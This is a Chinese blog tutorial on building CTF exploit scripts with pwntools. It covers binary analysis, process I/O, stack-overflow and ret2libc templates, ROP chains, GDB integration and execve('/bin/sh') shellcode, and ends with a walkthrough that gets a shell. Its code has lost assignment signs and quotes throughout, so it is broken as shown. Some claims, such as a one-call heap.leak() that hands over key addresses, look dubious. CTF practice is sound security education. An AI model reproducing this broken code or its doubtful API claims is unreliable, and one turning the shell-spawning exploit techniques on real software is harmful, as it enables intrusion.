Pwntools实战:从零构建CTF漏洞利用脚本

发布时间:2026/5/16 16:32:38

Pwntools实战:从零构建CTF漏洞利用脚本 1. 初识PwntoolsCTF选手的秘密武器第一次参加CTF比赛时我看着其他选手噼里啪啦敲着键盘屏幕上闪过各种看不懂的十六进制代码心里既羡慕又困惑。直到队友扔给我一行命令pip install pwntools才真正打开了二进制安全的大门。Pwntools就像瑞士军刀把原本需要组合使用gdb、objdump、nc等工具的复杂操作变成了几行Python代码就能搞定的优雅解决方案。这个神奇的Python库最初由Gallopsled团队开发现在已经成为CTF竞赛的标配工具。它最吸引我的地方在于统一的操作接口——无论是本地调试还是远程攻击无论是32位程序还是64位二进制都能用几乎相同的代码流程处理。比如用process()启动本地程序换成remote()就能攻击远程靶机这种设计让漏洞利用脚本的移植变得极其简单。记得有次比赛遇到一道堆题传统方法需要手动计算偏移、构造堆布局。但用Pwntools的heap模块直接heap.leak()就拿到了关键地址节省了至少半小时。赛后复盘时发现前10名的队伍有8个都在用这个库这足以说明它在实战中的价值。2. 环境搭建五分钟快速上手2.1 安装避坑指南新手最容易卡在第一步——安装。虽然官方文档说pip install pwntools就行但实际会遇到各种依赖问题。我在三台不同机器上实测后发现Ubuntu 20.04是最兼容的环境。如果遇到Command [/usr/bin/python3, -m, pip, install] returned non-zero exit status 1这类报错试试这个组合拳sudo apt update sudo apt install python3 python3-pip python3-dev libffi-dev libssl-dev pip install --upgrade pip pip install pwntools安装完成后建议运行pwn checksec测试基础功能。如果看到类似下面的输出说明环境OK了[*] Checking for tools: [binutils, gdb, git, ssh] [] All tools installed!2.2 开发环境配置推荐用VS Code配合Python插件三个必装的扩展Python IntelliSense自动补全pwn函数Hex Editor直接查看二进制文件Remote - SSH方便连接比赛服务器我的.vimrc配置里永远有这几行给pwntools脚本加语法高亮autocmd BufRead,BufNewFile *.py setlocal keywordprgpydoc\ pwntools autocmd FileType python setlocal tabstop4 shiftwidth4 expandtab3. 核心功能实战解析3.1 二进制文件分析三板斧拿到CTF题目第一步永远是分析二进制文件。Pwntools的ELF模块可以快速提取关键信息from pwn import * exe ELF(./vuln) print(fArch: {exe.arch}) # 输出架构如i386 print(fCanary: {exe.canary}) # 检查栈保护 print(fNX: {exe.nx}) # 查看NX位更实用的技巧是结合checksecdef analyze_binary(path): elf ELF(path) context.clear() context.binary elf print(f[*] {path} analysis:) print(f Arch: {elf.arch}) print(f RELRO: {elf.relro}) print(f Stack: {elf.canary}) print(f NX: {elf.nx}) print(f PIE: {elf.pie})3.2 交互式通信的艺术和二进制程序交互是CTF中最频繁的操作。很多人不知道的是send()和sendline()在实战中有微妙区别io process(./vuln) io.send(bA*100) # 纯发送数据 io.sendline(b) # 会自动追加\n io.sendafter(b , bpayload) # 等待特定提示后发送处理输出时这几个方法最常用line io.recvline() # 接收单行 all_data io.recvall() # 接收所有输出 until io.recvuntil(bquit) # 收到指定内容为止去年一道CTF题卡了我两小时就是因为没处理好输出缓冲。后来发现加上context.log_level debug所有通信内容都清晰可见问题迎刃而解。4. 漏洞利用开发实战4.1 栈溢出利用模板遇到最简单的栈溢出题时这个模板能解决80%的情况from pwn import * context(oslinux, archi386) binary ELF(./vuln) offset 40 # 通过cyclic_pattern找到的偏移 ret_addr binary.symbols[win] # 目标函数地址 payload flat( bA * offset, ret_addr ) io process(./vuln) io.sendline(payload) io.interactive()如果遇到ASLR需要先泄漏地址。这是我常用的地址泄漏套路payload flat([ bA*offset, elf.plt[puts], elf.symbols[main], elf.got[puts] ]) io.sendlineafter(b , payload) leak u64(io.recvline()[:6].ljust(8, b\x00))4.2 ROP链构建技巧Pwntools的ROP模块让构造ROP链变得可视化。以64位程序为例elf ELF(./vuln) rop ROP(elf) # 自动搜索可用gadget rop.raw(rop.ret) # 栈对齐 rop.call(puts, [elf.got[puts]]) rop.call(main) print(rop.dump()) # 打印ROP链结构遇到复杂情况时可以手动添加gadgetrop.rsi 0xdeadbeef # 设置寄存器值 rop(rdi0x1234, rsi0x5678) # 同时设置多个寄存器去年HackTheBox一道题需要连续调用三个函数用传统方法要计算半天。但用rop.call()链式调用五分钟就搞定了payload。5. 高级技巧与调试5.1 GDB集成实战最爽的功能莫过于直接通过Python控制gdb。在脚本里加上io gdb.debug(./vuln, b *main10 continue )这样启动时会自动附加gdb并下断点。更智能的做法是条件断点gdb.attach(io, catch syscall execve commands x/10i $rip end )遇到随机崩溃时我常用这个技巧自动记录崩溃现场context.terminal [tmux, splitw, -h] io process(./vuln) pause() # 在此处暂停等待手动附加gdb5.2 Shellcode生成黑科技Pwntools的shellcraft模块支持多种架构的shellcode生成# 经典execve(/bin/sh) sh asm(shellcraft.sh()) # 绕过字符过滤的变种 sc shellcraft.amd64.linux.cat(/flag) sc shellcraft.amd64.linux.exit(0)遇到特殊限制时可以自定义汇编context.arch arm sc mov r0, pc add r0, #20 mov r1, #0 mov r2, #0 mov r7, #11 svc #0 .ascii /bin/sh\0 shellcode asm(sc)记得有次比赛要求shellcode不能有\x00字节用shellcraft.encoder()的xor编码器轻松绕过。6. 实战案例从零攻破CTF题目来看一道真实CTF栈题的完整利用过程。假设有个程序vuln检查保护发现只有NX启用$ checksec vuln [*] /tmp/vuln Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE首先用cyclic确定溢出点io process(./vuln) io.sendline(cyclic(100)) io.wait() core io.corefile offset cyclic_find(core.read(core.rsp, 4)) print(fOffset: {offset}) # 假设输出56接着泄漏libc地址elf ELF(./vuln) rop ROP(elf) rop.puts(elf.got[puts]) rop.call(elf.symbols[main]) io.sendlineafter(b , flat({offset: rop.chain()})) leak u64(io.recvline()[:6].ljust(8, b\x00)) libc.address leak - libc.symbols[puts]最后getshellrop ROP([elf, libc]) rop.system(next(libc.search(b/bin/sh))) io.sendlineafter(b , flat({offset: rop.chain()})) io.interactive() # 拿到shell这种分阶段利用的思路在现实CTF中非常常见。Pwntools让每个阶段都能用统一的方式处理极大提升了效率。

相关新闻